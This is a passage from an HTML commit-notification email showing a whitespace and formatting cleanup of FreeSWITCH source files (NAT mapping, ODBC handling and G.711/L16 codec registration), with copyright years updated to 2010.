</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping_internal(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky, switch_bool_t publish)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping_internal(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t * external_port,
+                                                                                                                                switch_bool_t sticky, switch_bool_t publish)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_event_t *event = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch (nat_globals.nat_type) {
</span><span class="cx">         case SWITCH_NAT_TYPE_PMP:
</span><span class="cx">                 status = switch_nat_add_mapping_pmp(port, proto, external_port);
</span><span class="lines">@@ -572,9 +572,9 @@
</span><span class="cx">         default:
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (publish && status == SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_event_create(&event, SWITCH_EVENT_NAT);        
</del><ins>+                switch_event_create(&event, SWITCH_EVENT_NAT);
</ins><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "op", "add");
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, "port", "%d", port);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, "proto", "%d", proto);
</span><span class="lines">@@ -585,7 +585,8 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t * external_port,
+                                                                                                         switch_bool_t sticky)
</ins><span class="cx"> {
</span><span class="cx">         return switch_nat_add_mapping_internal(port, proto, external_port, sticky, SWITCH_TRUE);
</span><span class="cx"> }
</span><span class="lines">@@ -607,13 +608,13 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (status == SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_event_create(&event, SWITCH_EVENT_NAT);        
</del><ins>+                switch_event_create(&event, SWITCH_EVENT_NAT);
</ins><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "op", "del");
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, "port", "%d", port);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, "proto", "%d", proto);
</span><span class="cx">                 switch_event_fire(&event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -626,15 +627,15 @@
</span><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Refreshing nat maps\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_api_execute("show", "nat_map as xml", NULL, &stream);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(natxml = switch_xml_parse_str_dup(stream.data))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse XML: %s\n", (char *) stream.data);
</span><span class="cx">                 switch_safe_free(stream.data);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* iterate the xml and publish the mappings */
</span><span class="cx">         row = switch_xml_find_child(natxml, "row", "row_id", "1");
</span><span class="cx">         while (row != NULL) {
</span><span class="lines">@@ -649,18 +650,18 @@
</span><span class="cx">                 if ((child = switch_xml_child(row, "proto_num"))) {
</span><span class="cx">                         sproto = child->txt;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sport && sproto) {
</span><del>-                        port = (switch_port_t)(atoi(sport));
-                        proto = (switch_nat_ip_proto_t)(atoi(sproto));
-                        switch_nat_add_mapping_internal(port, proto, NULL, SWITCH_FALSE, SWITCH_FALSE);
</del><ins>+                        port = (switch_port_t) (atoi(sport));
+                        proto = (switch_nat_ip_proto_t) (atoi(sproto));
+                        switch_nat_add_mapping_internal(port, proto, NULL, SWITCH_FALSE, SWITCH_FALSE);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse port/proto info: XML: %s\n", (char *) stream.data);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 row = switch_xml_next(row);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">         switch_xml_free(natxml);
</span><span class="cx"> }
</span><span class="lines">@@ -669,14 +670,14 @@
</span><span class="cx"> {
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><del>-        
-        stream.write_function(&stream, "Nat Type: %s, ExtIP: %s\n",
-                                                        (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) ? "UPNP" : (nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "NAT-PMP" : "UNKNOWN"),
-                                                        nat_globals.pub_addr);
</del><span class="cx">
</span><ins>+        stream.write_function(&stream, "Nat Type: %s, ExtIP: %s\n",
+                                                 (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) ? "UPNP" : (nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "NAT-PMP" : "UNKNOWN"),
+                                                 nat_globals.pub_addr);
+
</ins><span class="cx">         switch_api_execute("show", "nat_map", NULL, &stream);
</span><del>-        
-        return stream.data; /* caller frees */
</del><ins>+
+        return stream.data;                        /* caller frees */
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_bool_t) switch_nat_is_initialized(void)
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_odbcc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_odbc.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_odbc.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_odbc.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -45,7 +45,7 @@
</span><span class="cx">
</span><span class="cx"> #if (ODBCVER < 0x0300)
</span><span class="cx"> #define SQL_NO_DATA SQL_SUCCESS
</span><del>-#endif
</del><ins>+#endif
</ins><span class="cx">
</span><span class="cx"> struct switch_odbc_handle {
</span><span class="cx">         char *dsn;
</span><span class="lines">@@ -98,7 +98,6 @@
</span><span class="cx">                 switch_safe_free(new_handle->password);
</span><span class="cx">                 switch_safe_free(new_handle);
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #endif
</span><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="lines">@@ -177,10 +176,10 @@
</span><span class="cx">                 code = __LINE__;
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
-        SQLRowCount (stmt, &m);
-        rc = SQLNumResultCols (stmt, &nresultcols);
-        if (rc != SQL_SUCCESS){
</del><ins>+
+        SQLRowCount(stmt, &m);
+        rc = SQLNumResultCols(stmt, &nresultcols);
+        if (rc != SQL_SUCCESS) {
</ins><span class="cx">                 code = __LINE__;
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><span class="lines">@@ -241,9 +240,9 @@
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t * stmt)
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t *stmt)
</ins><span class="cx"> {
</span><del>-        if (!stmt || ! *stmt) {
</del><ins>+        if (!stmt || !*stmt) {
</ins><span class="cx">                 return SWITCH_ODBC_FAIL;
</span><span class="cx">         }
</span><span class="cx"> #ifdef SWITCH_HAVE_ODBC
</span><span class="lines">@@ -332,7 +331,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 handle->is_firebird = FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG1, "Connected to [%s]\n", handle->dsn);
</span><span class="cx">         handle->state = SWITCH_ODBC_STATE_CONNECTED;
</span><span class="cx">         return SWITCH_ODBC_SUCCESS;
</span><span class="lines">@@ -341,11 +340,7 @@
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle,
-                                                                                                                                        const char *sql,
-                                                                                                                                        char *resbuf,
-                                                                                                                                        size_t len,
-                                                                                                                                        char **err)
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle, const char *sql, char *resbuf, size_t len, char **err)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef SWITCH_HAVE_ODBC
</span><span class="cx">         switch_odbc_status_t sstatus = SWITCH_ODBC_FAIL;
</span><span class="lines">@@ -357,7 +352,7 @@
</span><span class="cx">                 SQLSMALLINT NameLength, DataType, DecimalDigits, Nullable;
</span><span class="cx">                 SQLULEN ColumnSize;
</span><span class="cx">                 int result;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 SQLRowCount(stmt, &m);
</span><span class="cx">
</span><span class="cx">                 if (m <= 0) {
</span><span class="lines">@@ -366,20 +361,20 @@
</span><span class="cx">
</span><span class="cx">                 result = SQLExecute(stmt);
</span><span class="cx">                 result = SQLFetch(stmt);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (result != SQL_SUCCESS && result != SQL_SUCCESS_WITH_INFO && result != SQL_NO_DATA) {
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 SQLDescribeCol(stmt, 1, name, sizeof(name), &NameLength, &DataType, &ColumnSize, &DecimalDigits, &Nullable);
</span><span class="cx">                 SQLGetData(stmt, 1, SQL_C_CHAR, (SQLCHAR *) resbuf, (SQLLEN) len, NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 sstatus = SWITCH_ODBC_SUCCESS;
</span><span class="cx">         } else {
</span><span class="cx">                 return sstatus;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">         switch_odbc_statement_handle_free(&stmt);
</span><span class="cx">         return sstatus;
</span><span class="cx"> #else
</span><span class="lines">@@ -387,7 +382,8 @@
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt, char **err)
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt,
+                                                                                                                         char **err)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef SWITCH_HAVE_ODBC
</span><span class="cx">         SQLHSTMT stmt = NULL;
</span><span class="lines">@@ -448,7 +444,8 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_callback_exec_detailed(const char *file, const char *func, int line,
</span><span class="cx">                                                                                                                                                          switch_odbc_handle_t *handle,
</span><del>-                                                                                                                                                         const char *sql, switch_core_db_callback_func_t callback, void *pdata, char **err)
</del><ins>+                                                                                                                                                         const char *sql, switch_core_db_callback_func_t callback, void *pdata,
+                                                                                                                                                         char **err)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef SWITCH_HAVE_ODBC
</span><span class="cx">         SQLHSTMT stmt = NULL;
</span><span class="lines">@@ -485,16 +482,16 @@
</span><span class="cx">         SQLRowCount(stmt, &m);
</span><span class="cx">
</span><span class="cx">
</span><del>-        while(!done) {
</del><ins>+        while (!done) {
</ins><span class="cx">                 int name_len = 256;
</span><span class="cx">                 char **names;
</span><span class="cx">                 char **vals;
</span><span class="cx">                 int y = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 result = SQLFetch(stmt);
</span><span class="cx">
</span><span class="cx">                 if (result != SQL_SUCCESS) {
</span><del>-                        if (result != SQL_NO_DATA){
</del><ins>+                        if (result != SQL_NO_DATA) {
</ins><span class="cx">                                 err_cnt++;
</span><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="lines">@@ -535,14 +532,14 @@
</span><span class="cx">                 free(names);
</span><span class="cx">                 free(vals);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         SQLFreeHandle(SQL_HANDLE_STMT, stmt);
</span><span class="cx">
</span><span class="cx">         if (!err_cnt) {
</span><span class="cx">                 return SWITCH_ODBC_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- error:
</del><ins>+ error:
</ins><span class="cx">
</span><span class="cx">         if (stmt) {
</span><span class="cx">                 err_str = switch_odbc_handle_get_error(handle, stmt);
</span><span class="lines">@@ -557,7 +554,6 @@
</span><span class="cx">                         free(err_str);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><span class="cx"> #endif
</span><span class="cx">         return SWITCH_ODBC_FAIL;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_pcmc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_pcm.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_pcm.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_pcm.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -59,7 +59,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *decoded_data,
</span><span class="cx">                                                                                  uint32_t decoded_data_len,
</span><del>-                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         /* NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary. */
</span><span class="cx">         if (codec && other_codec && codec->implementation && other_codec->implementation &&
</span><span class="lines">@@ -75,7 +76,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *encoded_data,
</span><span class="cx">                                                                                  uint32_t encoded_data_len,
</span><del>-                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         if (codec && other_codec && codec->implementation && other_codec->implementation &&
</span><span class="cx">                 codec->implementation->actual_samples_per_second != other_codec->implementation->actual_samples_per_second) {
</span><span class="lines">@@ -266,55 +268,51 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static void mod_g711_load(switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool)
</del><ins>+static void mod_g711_load(switch_loadable_module_interface_t ** module_interface, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_codec_interface_t *codec_interface;
</span><span class="cx">         int mpf = 10000, spf = 80, bpf = 160, ebpf = 80, count;
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.711 ulaw");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         0,                                                        /* the IANA code number */
-                                                                                         "PCMU",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g711u_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g711u_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g711u_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g711u_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         0,        /* the IANA code number */
+                                                                                         "PCMU",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g711u_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g711u_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g711u_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g711u_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.711 alaw");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         8,                                                        /* the IANA code number */
-                                                                                         "PCMA",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g711a_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g711a_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g711a_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g711a_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         8,        /* the IANA code number */
+                                                                                         "PCMA",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g711a_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g711a_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g711a_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g711a_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -328,45 +326,43 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "PROXY VIDEO PASS-THROUGH");
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_VIDEO,        /* enumeration defining the type of the codec */
-                                                                                 31,                                                /* the IANA code number */
-                                                                                 "PROXY-VID",                                /* the IANA code name */
-                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                 90000,                                                /* samples transferred per second */
-                                                                                 90000,                                                /* actual samples transferred per second */
-                                                                                 0,                                                        /* bits transferred per second */
-                                                                                 0,                                                        /* number of microseconds per frame */
-                                                                                 0,                                                        /* number of samples per frame */
-                                                                                 0,                                                        /* number of bytes per frame decompressed */
-                                                                                 0,                                                        /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_proxy_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_proxy_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_proxy_decode,                /* function to encode raw data into encoded data */
-                                                                                 switch_proxy_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_VIDEO,        /* enumeration defining the type of the codec */
+                                                                                 31,        /* the IANA code number */
+                                                                                 "PROXY-VID",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 90000,        /* samples transferred per second */
+                                                                                 90000,        /* actual samples transferred per second */
+                                                                                 0,        /* bits transferred per second */
+                                                                                 0,        /* number of microseconds per frame */
+                                                                                 0,        /* number of samples per frame */
+                                                                                 0,        /* number of bytes per frame decompressed */
+                                                                                 0,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_proxy_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_proxy_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_proxy_decode,        /* function to encode raw data into encoded data */
+                                                                                 switch_proxy_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "PROXY PASS-THROUGH");
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 0,                                                        /* the IANA code number */
-                                                                                 "PROXY",                                        /* the IANA code name */
-                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 0,                                                        /* bits transferred per second */
-                                                                                 20000,                                                /* number of microseconds per frame */
-                                                                                 160,                                                /* number of samples per frame */
-                                                                                 320,                                                /* number of bytes per frame decompressed */
-                                                                                 320,                                                /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_proxy_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_proxy_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_proxy_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_proxy_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 0,        /* the IANA code number */
+                                                                                 "PROXY",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 0,        /* bits transferred per second */
+                                                                                 20000,        /* number of microseconds per frame */
+                                                                                 160,        /* number of samples per frame */
+                                                                                 320,        /* number of bytes per frame decompressed */
+                                                                                 320,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_proxy_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_proxy_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_proxy_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_proxy_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "RAW Signed Linear (16 bit)");
</span><span class="cx">
</span><span class="lines">@@ -394,29 +390,28 @@
</span><span class="cx">         ms_per_frame = 20000;
</span><span class="cx">
</span><span class="cx">         for (x = 0; x < 5; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         "L16",                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         12000,                                                /* samples transferred per second */
-                                                                                         12000,                                                /* actual samples transferred per second */
-                                                                                         192000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         "L16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         12000,        /* samples transferred per second */
+                                                                                         12000,        /* actual samples transferred per second */
+                                                                                         192000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 240;
</span><span class="cx">                 bytes_per_frame += 480;
</span><span class="cx">                 ms_per_frame += 20000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         samples_per_frame = 480;
</span><span class="lines">@@ -424,29 +419,28 @@
</span><span class="cx">         ms_per_frame = 20000;
</span><span class="cx">
</span><span class="cx">         for (x = 0; x < 3; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         "L16",                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         24000,                                                /* samples transferred per second */
-                                                                                         24000,                                                /* actual samples transferred per second */
-                                                                                         384000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
